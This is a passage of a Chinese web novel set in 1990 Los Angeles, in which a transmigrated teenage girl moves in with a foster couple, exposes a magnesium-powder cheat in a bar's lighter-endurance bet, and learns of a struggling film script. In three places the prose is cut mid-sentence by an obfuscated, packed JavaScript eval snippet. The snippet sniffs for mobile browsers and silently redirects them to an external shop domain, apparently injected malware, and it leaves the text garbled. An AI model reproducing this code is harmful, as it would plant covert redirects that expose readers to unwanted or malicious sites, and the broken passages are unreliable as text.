他身体前倾,手肘撑在桌面上,盯着男人流血的额头,一字一句地说: “找到那个幕后主使之后,不要弄死了,带回来见我。我要亲手把他剁碎了,喂我的罗威纳。” “是。”男人捂着还在流血的额头,深深鞠了一躬,不敢有半句怨言。 “滚出去。” 米奇不耐烦地挥挥手,“别把血滴在我的地毯上。明天让清洁工把这块地毯换掉,烧了。” “是。” 书房门轻轻合上,隔绝了楼下隐约传来的爵士乐和笑声。 米奇走到窗边,拉开一条窗帘缝,看着楼下灯火辉煌的派对。那个刚拿了奥斯卡最佳导演提名的哈维,正搂着一个女明星跳舞,上个月,这个人刚通过一部烂片的票房,帮他洗了三百万美元的黑钱。 他又点燃了一根雪茄,深深吸了一口,缓缓吐出一个完美的烟圈。 烟雾缭绕中,他棕色的眼睛里不见半分温度,只有一片淬了毒的寒意。 29.第29章 九十年代的洛杉矶,是一个矛盾的复合体。 它既慵懒又躁动,既浮华又破败,一半是阳光沙滩,一半是涂鸦与尾气。 即便已经步入9月,热烈的阳光依旧毫不留情地炙烤着这片盆地。 天空是一种被漂白过的淡蓝色,空气是干燥的,飘荡着柏油路面被晒软后散发的淡淡焦味,偶尔混进一丝从圣莫尼卡方向飘来的咸腥海风。 好莱坞山上那九个白色字母在热浪中微微晃动着,像一枚烙在大地上的印记。 棕榈树细长的躯干沿着日落大道一字排开,福特维多利亚皇冠和本田雅阁并在红灯前排成队,敞篷Miata里的年轻人戴着雷朋飞行员墨镜,《Used To Love Her》的紧凑鼓点透过车载音响传出来,飘出半条街。 一辆黄色出租拐上101公路向北,成片的棕榈树渐渐被甩在身后,窗外的风景换成了修剪得一丝不苟的冬青绿篱,和整洁宽阔的人行道。 谢尔曼奥克斯的午后静得出奇,只有家家户户草坪上的自动灌溉系统在“嘶嘶”喷水,水珠在阳光下折射出细碎的彩虹。 出租车最终停在一栋灰泥外墙、红瓦坡顶的西班牙风格小别墅前,院墙上爬满了盛开的三角梅,紫艳艳的花朵垂下来,遮住了半扇铁艺大门。 菲伊付了车钱,背着一个双肩包跳下车。 本来伊森要陪同她过来的,被她好说歹说劝住了。她芯子里是22岁的成年人,哪好意思让人全程护送。 告别伊森后,她独自坐了三个小时飞机,按着地址一路摸到了这里。 再次核对了一遍门牌号,确认没找错地方。 菲伊深吸了一口气,空气里没有休斯顿的尘土味,只有青草和阳光的味道。 她抬手按下了黄铜门铃。 “来了来了!” 屋里立刻传来一道轻快的女声,紧接着是拖鞋踩在木地板上的哒哒声。 铁门“吱呀”一声被拉开,一个身材微胖、挽着优雅发髻的老太太出现在门口。 她戴着细框金丝眼镜,穿一件浅蓝色棉布连衣裙,围裙上还沾着面粉,脸上的笑容像阳光一样灿烂。 “菲伊?你就是菲伊吧?” “是的。”菲伊轻轻点头,露出一个浅浅的微笑。 “哦,亲爱的,你可算来了!” 佩妮?索尔不等菲伊反应,就张开双臂给了她一个结结实实的拥抱。她身上带着烤巧克力曲奇的甜香,还有淡淡的薰衣草洗衣液的味道,温暖又安心。 “你好,索尔夫人。” 菲伊有些拘谨地回抱了她一下。 “叫我佩妮就好。” 佩妮松开她,上下打量着她,眼睛笑成了两条弯缝,“阿利斯泰尔说你长得漂亮可爱,果然没骗我。快进来快进来,饼干刚烤好,还热着呢。” 菲伊差点没忍住笑。 她不否认自己长得不错,但“漂亮”、“可爱”这些词,实在不像是会从阿利斯泰尔嘴中说出来的。 不等她多想,佩妮已经拉着她往里走。 一个身材高大、头发花白的男人正站在玄关,手里拿着一份折起来的《洛杉矶时报》。 他穿着熨烫平整的格子衬衫和黑色西装裤,脚上踩着一双真皮软底拖鞋,表情看起来有些严肃,眼神却很温和。 “这是我的丈夫马丁。” 佩妮介绍道。 马丁放下报纸,对着菲伊微微颔首,伸出宽厚干燥的手掌,声音低沉有力:“欢迎回家,菲伊。” “索尔先生,您好。” 菲伊连忙伸手和他握了握。 “别站在门口了。” 佩妮推着两人往里走,“亲爱的,帮菲伊拿一下背包。她坐了这么久的飞机,肯定累坏了。” “不用不用,我自己来就行。” 菲伊赶紧摆手。 马丁却已自然地接过她的背包,拎在手上,动作虽然有些生硬,却透着一股笨拙的温柔。 “你的房间在二楼,朝南,阳光特别好。我们刚给你换了新的床单和被子,还买了一个书桌。” 佩妮边走边说,脸上满是喜悦,“对了,我还给你烤了我最拿手的巧克力曲奇,也不知道合不合你的口味。” 菲伊跟着他们来到客厅。 客厅里铺着浅棕色的羊毛地毯,墙上挂着很多照片。 有年轻时候的索尔夫妇,有一个男孩从穿背带裤的小不点到穿学士服的青年——应该是他们的儿子劳伦斯·索尔,还有一张佩妮和阿利斯泰尔的高中合影。 照片里的阿利斯泰尔比现在瘦一点,头发也更长,穿着校服,站在佩妮身边,嘴角抿着一点极淡的笑意,眼神里还带着少年人的清亮。 菲伊挑了挑眉。 原来那个永远冷着脸、不苟言笑的男人,也有过这样青涩的时候。 算起来,那时他应该才15岁,比现在的自己还小一岁。 “别看那小子现在一本正经的,高中时候可叛逆了。” 佩妮注意到她的目光,笑着指了指照片,“整天不务正业去搞什么程序。不过脑子是真聪明,全科成绩一直都拿A。” 马丁在旁边轻轻咳了一声,提醒妻子别一提起得意门生,就滔滔不绝说个不停。 佩妮轻轻瞪了他一眼,拉着菲伊走到餐桌旁:“不说他了,快尝尝饼干。刚出炉的,还热乎着呢。” 菲伊拿起一块曲奇咬了一口,酥脆香甜,巧克力在嘴里慢慢融化。 阳光透过落地窗洒进来,落在餐桌上。 她抬起头,看着眼前这对和蔼的老夫妇,嘴角慢慢扬起一抹真心的笑容。 她知道,这里就是她的新家了。 *** 周末午后的阳光透过咖啡馆的玻璃窗,在木质桌面上投下斑驳的光影。 墙上贴着涅槃乐队和披头士的复古海报,老式意式咖啡机发出“嗤嗤”的蒸汽声……南加州大学附近的这家“街角咖啡”永远坐满了学生,有人抱着厚厚的课本啃,有人凑在一起讨论剧本,角落里的吉他手轻轻弹着民谣。 菲伊穿着一身薄荷绿针织短袖与高腰直筒牛仔裤,姿态松弛地坐在露天的藤编椅上。 服务员刚把她点的冰拿铁送上桌,就听见街对面传来熟悉的喊声。 “菲伊!” 一道明艳的身影快步穿过马路,朝着这边奔来。 凯瑟琳一头耀眼的金色长发松松挽着半扎发,几缕碎发随着跑动在脸颊边飞扬,浅杏色针织开衫搭配半身牛仔裙,清爽又明媚。 一米七五的高挑身形格外惹眼,浅杏色针织开衫搭配牛仔短裙,脚上踩着一双白色Keds 帆布鞋,清爽又明媚。 随着凯瑟琳的靠近,一缕淡淡的柑橘香水味扑面而来——是今年洛杉矶女孩里最流行的Escada。 她像只快活的小鸟一样扑过来,一把抱住菲伊,在她脸颊上“吧唧”亲了一大口。 “菲伊!可算来洛杉矶了!我都快想死你了!”她松开菲伊,上下打量着她,眼睛亮得像星星,“能再见到你,我真的太开心了!” 菲伊被她兴奋的情绪感染,嘴角不自主地扬起:“我也是,以后我们就能常见面了!” 凯瑟琳顺势拉开椅子坐下,眉眼弯弯,兴致勃勃地规划着:“等下周我没课了,带你去圣莫尼卡看日落,去环球影城坐过山车,再去梅尔罗斯大道逛古着店!保证让你玩个够!” 话音刚落,一道清俊的身影缓步走近。男生身形挺拔,眉眼干净俊朗,背着一把棕色吉他包。 凯瑟琳立刻起身,亲昵地挽住他的胳膊,转头对着菲伊笑意盈盈地介绍: “菲伊,给你介绍一下,我男朋友克莱蒙·琼斯。克莱蒙。克莱蒙,这是菲伊,我跟你说过的,超级厉害的那个朋友!” “你好,菲伊。”克莱蒙笑着伸出手,声音温和磁性,“总听凯瑟琳提起你。” “你好。”菲伊和他握了握手。 克莱蒙目光温柔地落在凯瑟琳身上,轻声道:“我待会儿还有乐队排练,先送你到这里,晚上我来接你看电影。” “好呀,你快去忙,注意安全。”凯瑟琳踮起脚,在他脸上亲了一下,目送着他走远,才恋恋不舍地收回目光。 菲伊看着她满眼欢喜的模样,忍不住打趣:“可以呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760275|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,这才一个多月,就换了个这么帅哥。佩服佩服!” “那当然!” 凯瑟琳得意地扬了扬下巴,端起刚送上来的热巧克力,吸了一大口上面的棉花糖,“别人都说,走出失恋最快的方法就是开启一段新恋情,我觉得太对了!而且我和克莱蒙是一见钟情,他第一次在琴房弹吉他给我听的时候,我就知道,就是他了。” 说着,她像是想到什么,撇了撇嘴,吐槽道: “说起来,我之前在学校还碰到埃里克几回,就是那个渣男。一开始他还厚着脸皮纠缠我、堵我,让我再给他一次机会。结果克莱蒙往我身边一站,他立马就灰溜溜地走了,怂得要死。” 提到埃里克,凯瑟琳的神色渐渐收敛,语气多了几分凝重:“对了,里德尔那个恶魔也完蛋了!警方在你说的那个废弃修理厂的仓库地下,发现了一个密室,那就是他的第一案发现场!” 她深吸一口气,眼底满是后怕与愤怒:“警方从里面挖出了八具年轻男女的遗骨,法医鉴定后说,这些受害者生前都遭受过长期虐待和折磨,想想都让人头皮发麻。 那个恶魔已经被移交法庭,如今证据确凿,绝对能让他判死刑!” “那可真是个好消息!”菲伊拍手称快。 里德尔那个变态能落网伏法,实在是大快人心! “不提这些糟心的人了。”凯瑟琳摆摆手,关切地看着菲伊,“还没问你呢,来洛杉矶生活习不习惯?索尔夫妇对你好吗?有没有哪里不适应的?” “都挺好的。”菲伊弯眸浅笑,语气真切,“佩妮特别温柔亲切,事事都替我着想,马丁先生看着严肃古板,实则格外细心稳重,待人宽厚,家里氛围特别好,我住得很安心,完全没有不习惯。” 凯瑟琳闻言放下心来,又好奇地追问:“我记得索尔家还有个儿子吧?年纪比阿尔还大好几岁呢,你见过吗?人怎么样?” “还没见过。”菲伊摇摇头,“从来没见过他回来,佩妮和马丁也很少提起他,应该是在外忙工作,不常回家。” “这样啊。”凯瑟琳点点头,随即又好奇问道,“那你上学的事呢?想好去哪个学校了吗?” “已经规划好了。”菲伊端起拿铁抿了一口,“我准备申请谢菲尔德中学,就是佩妮之前任职的那所私立名校。现在正在准备10月份的SSAT考试,12月份提交转学申请。” “谢菲尔德?”凯瑟琳眼睛一下子瞪圆了,“我知道!阿尔就是在那儿读的高中。那学校出了名的魔鬼,校风严得要死,课程强度极大,也就阿尔那种头脑变态的家伙能适应。听说这学校的入学门槛很高,不是随便就能进的。” “确实挺难的。”菲伊点点头,“SSAT总分至少要达到2160分,9到10年级的GPA要稳定在3.7以上,还要三封优质推荐信。这些全部达标后,还得通过校内面试,才能正式录取。” 她在心里暗暗叹了口气,幸好原主是个实打实的小学霸,GPA有3.8,完美符合大众对华裔的刻板印象。 原主此前读的虽然不是顶尖私立中学,但也是口碑很好的学校,推荐信也找佩妮和以前的老师写好了,现在就差SSAT这临门一脚了。 SSAT是美国私立中学的标准化入学考试,侧重考察学生的词汇、阅读、数学和逻辑思维能力,难度不低。原主留下的底子再好,自己也不能掉以轻心。 菲伊暗暗攥了攥拳头,给自己打气。 “我相信你,你肯定没问题的!”凯瑟琳用力拍了拍她的肩膀,“连杀人魔都能搞定,一个转学申请算什么!” 凯瑟琳用力拍了拍她的肩膀,语气笃定又捧场。 菲伊被她夸张的模样逗得轻笑一声,刚想开口接话,不远处临街的一家酒吧外,突然爆发出一阵嘈杂的哄闹声,夹杂着起哄和口哨,打破了午后的慵懒平静。 凯瑟琳天生好奇心重,最爱凑各种热闹,瞬间被勾起了兴致。 她立马拿起钱包,抽出几张零钱压在桌角,二话不说拽着菲伊的手腕就往外挤。 “走走走!去看看怎么回事!” 30.第30章 两人挤进酒吧门口乌泱泱的人群,啤酒泡沫的甜腻和二手烟的味道扑面而来。 昏暗的灯光下,一堆看热闹的学生正围在一张圆桌前起哄,口哨声和拍桌子的声音混着摇滚乐,吵得震天响。 “怎么了怎么了?” 凯瑟琳拍了拍前面一个留着波浪卷的女生肩膀,凑在她耳边大喊。 “打赌呢!打火机耐力赛!” 女生头也不回地说,“贾斯珀又在整埃文了。” 菲伊顺着她的目光看去,圆桌两边坐着两个截然不同的男生。 左边那个二十岁左右,戴着一副黑框眼镜,一头黑发乱糟糟地支棱着,活像一团鸡窝,灰色T恤领口沾着咖啡渍。 手里紧紧攥着一个剧本,指节因为用力而泛白,脊背绷得笔直,却透着一股掩不住的窘迫。 而对面的棕发男生则完全是另一个极端。穿着熨烫平整的阿玛尼衬衫,手腕上的金表在灯光下闪得刺眼,棕发梳得油光水滑。 他正翘着二郎腿靠在椅背上,漫不经心地转着手里的Zippo打火机,脸上挂着戏谑的笑。 “具体怎么回事?给我们说说呗!”凯瑟琳又拽了拽女生的胳膊,好奇得不行。 女生扭头,见凯瑟琳这么一个大美人双眼亮晶晶地看着自己,脸不自觉红了红,小声解释起来。 原来,那个戴黑框眼镜的男生叫埃文·科恩,对面那位是贾斯帕·范德比尔特,都是南加大电影与摄影专业的大三生。 贾斯帕是系里的风云人物,父亲是时代华纳的高层,在学校里横行霸道,身边永远跟着一群溜须拍马的跟班。 “现在他俩在打赌,玩打火机耐力赛,输的人要无条件答应赢家一个要求。规则特别简单,就是点燃打火机,全程手掌捂住火苗,谁先松手、躲闪或者叫出声,就算输。” 女生往棕发男方向努了努嘴:“其实就是贾斯帕故意找茬。他和埃文是同专业的,埃文成绩全系顶尖,尤其在摄像方面,天赋很高,就是没背景没钱。 听说他最近和朋友在筹备一部独立电影,到处拉投资拉不到,贾斯帕就盯上他了。” 她顿了顿,略带愤愤不平地继续道:“他主动找埃文打赌,说只要埃文赢了,就说动他的父亲投资他的电影,还帮他对接圈内资源。可要是输了,埃文就得脱光衣服,绕着整个校园裸奔,边跑边喊自己是个loser。” “埃文,别磨磨蹭蹭的!” 贾斯珀嗤笑一声,把手中的打火机扔在桌上,“要么现在认输,脱光衣服绕着校园跑三圈,喊三声‘我是loser’。要么就玩完这局,赢了我就让我爸投你们的电影。怎么选,你自己看着办。” 埃文咬了咬唇,脸色苍白。 那部片子他看过剧本了,拍出来一定很精彩,难得劳伦斯还愿意让自己做DP(摄影师),他很想抓住这次机会,可现在问题就卡在资金上。 如果他能赢下这场赌局…… 他深吸一口气,道:“我玩。” 然后拿起桌上的打火机。 周围立刻爆发出震天的起哄声。贾斯珀朝旁边的跟班伊恩使了个眼色,伊恩点点头,不动声色地往厕所走去。 菲伊敏锐地捕捉到了两人的小动作,眸光微沉,目光落在伊恩的背影上。 “老规矩。” 贾斯珀靠回椅背,慢悠悠地说,“点燃打火机,手掌完全握住火苗,谁先松手或者叫出声,谁就输。” 埃文没应声,“咔哒” 一声打着了打火机。橘红色的火苗“腾”地窜起来,埃文咬着后槽牙,毫不犹豫伸手捂了上去。 明火灼烧掌心的刺痛瞬间炸开,他的脸骤然失色,额头上沁出汗珠,指尖控制不住地微微颤抖。 一秒。 两秒。 三秒。 尖锐的疼痛感直冲神经,掌心皮肤已被烫得通红,水泡眼看着就要鼓起来。 埃文再也扛不住,猛地松开手,踉跄着后退了半步,疼得倒吸一口凉气。 周围顿时响起一阵嘘声。 贾斯帕抱着双臂,嘴角挂着轻蔑又得意的冷笑,满眼都是戏谑的嘲讽。 “可惜了,才三秒。”他慢条斯理地开口,轻蔑地看着埃文,“埃文,还以为你有多能耐呢。啧啧,真是太令我失望了。” 说着,他看向刚从厕所回来的伊恩,抬了抬下巴:“该你了,让他看看什么叫真正的男人。” 伊恩一脸淡定地拿起打火机,利落点燃,同样抬手捂住火苗。 一秒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768563|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>两秒。 三秒。 四秒。 他的手掌稳稳悬在半空,面不改色,神态从容,仿佛掌心捂住的不是烧得正旺的火苗,而是一团温热的空气,丝毫没有痛感。 围观的人都看傻了,口哨声、惊叹声此起彼伏。 “我的天!他也太能扛了吧!” “这都四秒多了,还一点反应没有?太离谱了!” 埃文的脸彻底变成死灰色,绝望地闭上眼睛。 贾斯帕脸上的笑意愈发浓烈,胜券在握地看着落败垂头的埃文,正准备开口宣布自己赢了,一道清冷的女声突然穿透喧闹,清晰地落在每个人耳朵里: “停手。” 菲伊拨开人群,缓步走到桌前,眼神平静地落在伊恩,字字清晰:“这场比赛,有人作弊了。” 霎时间,喧闹的现场安静下来,所有人的目光齐刷刷聚焦在她身上。 伊恩脸色一僵,下意识想收回手,却被菲伊抢先一步抬手扣住手腕。 “你干什么!放开我!” 伊恩急得大喊。 贾斯珀皱起眉头,上下打量着菲伊:“你谁啊?这里没你的事,滚开!” 菲伊没理会,她微微用了一点巧劲,便将伊恩的手掌翻过来,举到众人面前。 乍一看,他的掌心干干净净,毫无异常。但凑近了就能看见,却他的掌纹里沾着一层薄薄的白色粉末,指缝边缘还带着未干的水渍。 “靠作弊赢取比赛,也配叫真男人?” 菲伊冷冷地说,“如果我没猜错的话,你手心里的粉末是镁粉吧?镁粉颗粒是多孔结构。 颗粒之间能锁定大量静止空气,空气是热的不良导体,这层由粉末和空气混合构成的涂层,就像给手穿了一件隔热服。 热量要穿过这层粉末才能到达皮肤,穿透速度被大幅减慢。” “所以——”她唇边勾起一抹嘲讽的笑容,毫不客气地拆穿对方的作弊手段,“你赛前特意去洗手间,就是为了在手心拍一层镁粉。但你怕不够保险,又额外喷一层水雾。 火焰烧上来的时候,水蒸发会带走部分热量,等水烧干了,底下的镁粉层还能继续隔热。 别说四秒,就算坚持七秒,也烧不伤你。” 31.第31章 此话一出,人群立刻炸开了锅。 “我靠!原来真是作弊啊!” “太不要脸了吧!居然用这种手段欺负人!” “我说伊恩怎么每次玩这个都赢,原来有猫腻!” 伊恩的脸瞬间涨成猪肝色,大声反驳:“你胡说什么?!哪里有什么镁粉,还有我手心湿,是因为太热了,热出的汗!” “是吗?”菲伊趁其不备,另一只手飞快地伸进他鼓鼓囊囊的牛仔裤口袋,掏出一个透明的小塑料瓶。 里面装着的,正是满满一瓶的白色粉末。 “那这瓶东西怎么解释?” 一个男生凑过来,拧开瓶盖倒出一点粉末搓了搓,立刻点头:“没错!就是镁粉!我平时喜欢攀岩,经常用到这玩意儿。” 伊恩:“你们就是一伙的!一起污蔑我!” “哼,证据都摆在面前了,还狡辩!”凯瑟琳立马站出来,指着伊恩的鼻子说,“有本事你就当着大家的面,把手掌心洗一遍,然后擦干净,再玩一次,我看你能不能坚持三秒!” “对啊!有本事再来一次!” “再来一次!” “再来一次!” 周围的学生跟着起哄,声音一浪高过一浪。 贾斯珀的脸青一阵白一阵,“唰”地起身,抬手就给了伊恩一巴掌。 “废物!老子今天的脸都被你丢尽了!滚!以后别再出现在我面前!” 说完,他狠狠撞开其他人,怒气冲冲地朝门外走。 路过菲伊身边时,贾斯帕停下脚步,阴恻恻地看了她一眼:“很好,我记住你了!” 凯瑟琳立刻挡在菲伊面前,叉着腰瞪着贾斯珀:“贾斯帕·范德比尔特是吧?有什么事尽管冲我来!别欺负一个小姑娘!” 贾斯帕冷笑一声,没说话,带着跟班摔门而去。 人群渐渐散去,凯瑟琳一把搂住菲伊:“天啊!菲伊,刚才你真的太帅了!你的眼睛是怎么长的?怎么能看到那伊恩的手心里有蹊跷?” 菲伊也很惊讶,自己的视力最近好像变好了不少。原主是不近视的,但也就是正常视力水平,可她现在却能轻松捕捉到几米外的掌纹异常,就连夜视能力也提高了。 如果说力气变大还能推给这两个月天天健身的功劳,可这视力……该不会是租借能力的后遗症吧? 正想着,就见埃文攥着剧本走到她面前,脸上满是感激:“谢谢你……真的太谢谢你了。要不是你,我今天……” 他不好意思地挠了挠头,手心的水泡还在隐隐作痛。 “不用谢,他本来就作弊在先。” 菲伊笑了笑,视线落在他的右手上,“你的手没事吧,要不要去医务室处理一下?” 埃文连连摆手:“啊,没事没事!小伤,过会儿就好了!” 几人正说着,一个急切的声音从酒吧门口撞了进来:“埃文!你手怎么了?” 众人扭头望去,只见一个三十出头的男人快步走进来,白衬衫的下摆皱巴巴地塞在灰色西裤里,眼下带着明显的青黑,一看就是熬了好几个通宵。 他径直冲到埃文身边,不由分说就要去看他的手:“你手怎么了?我听外面的人说你跟人打赌,是不是有人欺负你了?” 埃文“咻”地把手藏到背后,头埋得更低了:“没、没什么!就是不小心烫了一下。” 男人皱起眉,语气无奈又带着点严厉:“埃文,你说谎的时候眼睛会不自觉盯着自己的鞋尖。” 埃文慌忙抬起头,舔了舔发干的嘴唇,正想再辩解两句,忽然想起什么似的转移话题:“对了,劳伦斯,你怎么过来了?不是说下午要见投资人吗?” “嗐,别提了!”劳伦斯果然被转移了注意力,一脸恼火道,“我被人放鸽子了!” 劳伦斯? 菲伊听到这个名字的瞬间,瞳孔微微一缩。 她盯着男人那张和佩妮有六分相似的脸,终于想起为什么刚才第一眼看到他就觉得眼熟——索尔家客厅里挂着的照片里,那个穿着学士服、在镜头面前笑得灿烂的大男孩,不就是眼前这人年轻十岁的样子嘛! 她迟疑了一下,开口问道:“冒昧问一句,你是不是劳伦斯·索尔?” 男人闻言转过头,看向菲伊的眼神里满是惊讶:“你认识我?” 空气安静了两秒。 菲伊清了清嗓子,语气尽量自然:“我是菲伊·温斯洛。上周刚搬到你父母家。” 劳伦斯彻底愣住。 整个人像被按了暂停键,连眨眼都慢了半拍。 他当然知道菲伊·温斯洛。 半个月前母亲给他打电话,兴高采烈地说要收养一个十六岁的女孩,他当时第一反应就是反对。 家里突然多一个陌生人算怎么回事? 可听母亲说女孩父母双亡,身世可怜,又已经十六岁,基本不用人操心,只是需要个监护人照看几年,他也就没再坚持。 虽说不反对,但想让他立即和这个新“妹妹”立即亲近起来也很难。再加上他和父亲的关系一直有点僵,平时能不回家就不回家,索性就把这事暂时抛在了脑后。 他怎么也没想到,会在这种地方,以这种方式见到自己这个名义上的妹妹。 尴尬、惊讶、还有点莫名的手足无措,一股脑涌上来。劳伦斯挠了挠头,半天憋出一句:“……你好。” 十分钟后,四人坐在一家安静的咖啡厅里。 四人桌前,气氛诡异得能拧出水来。 劳伦斯坐在菲伊对面,手指无意识地敲着桌子的边缘,眼神一个劲地往窗外飘,就是不往菲伊这边看。 他这辈子都没这么尴尬过。 他实在不知道该怎么和这个突然冒出来妹妹相处,而且人家刚刚帮了自己的朋友,他欠对方一个人情。 他们家人口简单,自己是独子,除了有一个堂兄外,连个弟弟都没有,更别说妹妹了。 他长这么大,就没怎么和小自己这么多的女孩打过交道。 16岁的孩子,还刚刚经历那么大的家庭变故,心思应该比较敏感吧?他该用什么语气跟她说话,是该像个兄长一样关心两句,还是就当普通朋友打个招呼? 菲伊也觉得有点不自在。 毕竟两人今天才第一次见面,之前连对方长什么样都不知道——照片上的不算,现在却突然成了法律上的兄妹,怎么想都觉得奇怪。 她端起咖啡抿了一口,假装看窗外的街景。 埃文坐在劳伦斯旁边,头埋得低低的,盯着自己面前快要见底的咖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772277|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 啡杯,想要挑起话题,却不知道要说些什么。 他本来就腼腆,现在遇上这种场面,更加不知所措了。 脑子里乱七八糟地转着:咖啡快喝完了,要不要再续一杯?刚才菲伊帮了自己,这顿是不是该我请?劳伦斯平时话挺多的,今天怎么了…… 只有凯瑟琳毫无顾忌。 她托着腮,眼睛一眨不眨地盯着劳伦斯,从他的头发看到他的鞋子,那眼神活像在博物馆里看展品,看得劳伦斯浑身发毛,敲桌子的频率都快了一倍。 菲伊悄悄在桌子底下踢了踢凯瑟琳的脚,用眼神示意她收敛点。凯瑟琳吐了吐舌头,终于收回了目光。 菲伊清了清嗓子,主动打破了这令人窒息的沉默:“对了,刚才听人说,埃文正筹备拍一独立电影?” 听菲伊没有揪着自己尴尬的原因不放,也没问他为什么这么久不回家,劳伦斯暗自松了口气。 可一提到电影,他刚才舒展的眉头又拧成了疙瘩,下意识薅了薅自己的头发——这俩月为了筹钱,他头发大把大把地掉,本来发量就不算浓密,现在额角都快见光了。 早知道今天会碰到这个名义上的妹妹,说什么也得提前吹个头发,不至于这么狼狈。 他叹了口气,语气里满是苦涩:“对啊。我有个朋友,他写了一个剧本,非常精彩……我敢说,这部片子要是拍出来,一定能震撼整个影坛!” 他苦笑一声,灌了一大口咖啡,“可惜好莱坞那帮投资人根本不懂得欣赏,更没人愿意赌一个没什么名气的新人。 他们翻两页就扔回来,说‘太暴力了’‘没有女主角’‘观众不会喜欢一群男人互相骂脏话’。统一话术就是‘很有才华,但我们不拍’。” “等等,你这话逻辑不通啊。” 凯瑟琳抱着胳膊,毫不客气地挑刺,“你说它能震撼影坛,又说没人懂。要是全世界都欣赏不来,那震撼谁去?总不能震撼你自己吧?” 她本来就对劳伦斯有点意见,菲伊这么好的姑娘,住到他家快一周了,他这个亲儿子别说回家看看,连个电话都没有。 现在又是一副苦大仇深的模样,怎么看怎么不靠谱。 她可见多了这种人,把自己的垃圾吹成稀世珍宝,就为了骗投资人的钱。 “不是的!” 一直默不作声的埃文抬起头,脸涨得通红,第一次抢着说话。 “昆顿的剧本真的不一样!他写的黑/帮不是那种西装革履的假绅士,是会吵架、会怕死、会互相猜忌的普通人。那段割耳朵的戏,我第一次看的时候浑身发麻……” 凯瑟琳被他突如其来的激动吓了一跳,挑挑眉:“哟,原来你这么能说啊。我还是头一回见你一口气说这么多话呢。” 被凯瑟琳这么一调侃,埃文脸更红了,像是被扎破的气球,又缩了回去,头埋得都钻进咖啡杯里。 菲伊却皱起眉:昆顿?这名字挺少见的,还是个编剧,诶,等等……昆顿,编剧?! 她陡然坐直身体:“你们刚才说剧本是谁写的?” “昆顿,昆顿·塔伦特。”劳伦斯答接过话头,有些奇怪地看了她一眼,“怎么,你知道他?”① 菲伊没回答,又追问道:“那电影叫什么名字?” “《落水狗》。” 32.第32章 菲伊的脑子“嗡”的一声。 昆顿·塔伦特。 《落水狗》。 这两个名字像两道闪电,劈进了她尘封的记忆里。她对好莱坞影史谈不上如数家珍,却也听过这个男人的名字—— 不是因为他的电影,而是因为那个非常出圈的“牛逼”表情包,以及他和华国电影圈几位大导演惺惺相惜的神仙友谊。 后来她特意搜过,这个看着像隔壁爱唠嗑的修车大叔的男人,竟是好莱坞出了名的鬼才导演,暴力美学的代名词。 而他的处女作《落水狗》,就是1992年在圣丹斯电影节横空出世的。 那部仅用120万美元、21天就拍完的小成本电影,像一颗扔进平静湖面的核弹,直接炸翻了整个电影圈。 粗糙的镜头、凌厉的剪辑、充满张力的对话,彻底颠覆了好莱坞的传统叙事,从此开启了属于昆顿的时代。 后来的《低俗小说》、《杀死比尔》,更是部部封神,里面的经典镜头被无数影视博主翻来覆去地拆解致敬。 她怎么也没想到,自己居然会在1990年的洛杉矶,在一家咖啡厅里,听到昆顿正在为《落水狗》筹钱的消息。 劳伦斯和埃文说的没错,这哪里是没人能懂的烂剧本,分明是一座还没被人发现的金矿! 菲伊仰头灌下一大口咖啡,冰凉的触感勉强压下心底翻涌的狂喜。她稳住神态,尽量让语气听起来平静:“这片名听着挺有趣的,我能看看这个剧本吗?” 劳伦斯先是一怔,随即无奈地扯了扯嘴角:“当然可以。只是我劝你别抱太大期待,不少人看完都直言这剧本太过出格。我们已经被三十多个投资人拒绝了,愿意通篇看完的没几个。” “那可不一定。” 菲伊晃了晃食指,眼底掠过一丝狡黠,唇角扬起轻快的笑意,“要是我看完觉得不错,说不定,我愿意出钱投资呢!” 这话一出,桌边三人齐齐愣住。 劳伦斯先是眨了眨眼,像是没听清,随即瞪大了眼睛看向她,语气里满是不可置信:“你?投资电影?” 菲伊斜睨了他一眼,双手往胸前一抱,下巴微微抬着,摆出一副 “你可别小瞧我” 的架势: “怎么?我看着不像能投资电影的人吗?” 劳伦斯好笑地摇摇头,他只当菲伊是看出众人情绪低落,故意说玩笑话活跃气氛,索性顺着她打趣:“当然不是。行,那咱们一言为定!” 说着,他率先端起咖啡杯,朝菲伊举了举,“来,敬我们这位未来的投资人小姐。” 凯瑟琳噗嗤一声笑了出来,用胳膊肘碰了碰菲伊:“可以啊菲伊,以后我就抱你大腿了!” 埃文也挠着头,不好意思地跟着笑了,显然都没把这句玩笑话当真。 菲伊挑了挑眉,也不辩解。她端起自己的杯子,和三人的轻轻一碰,发出清脆的响声。 “Cheers!” …… 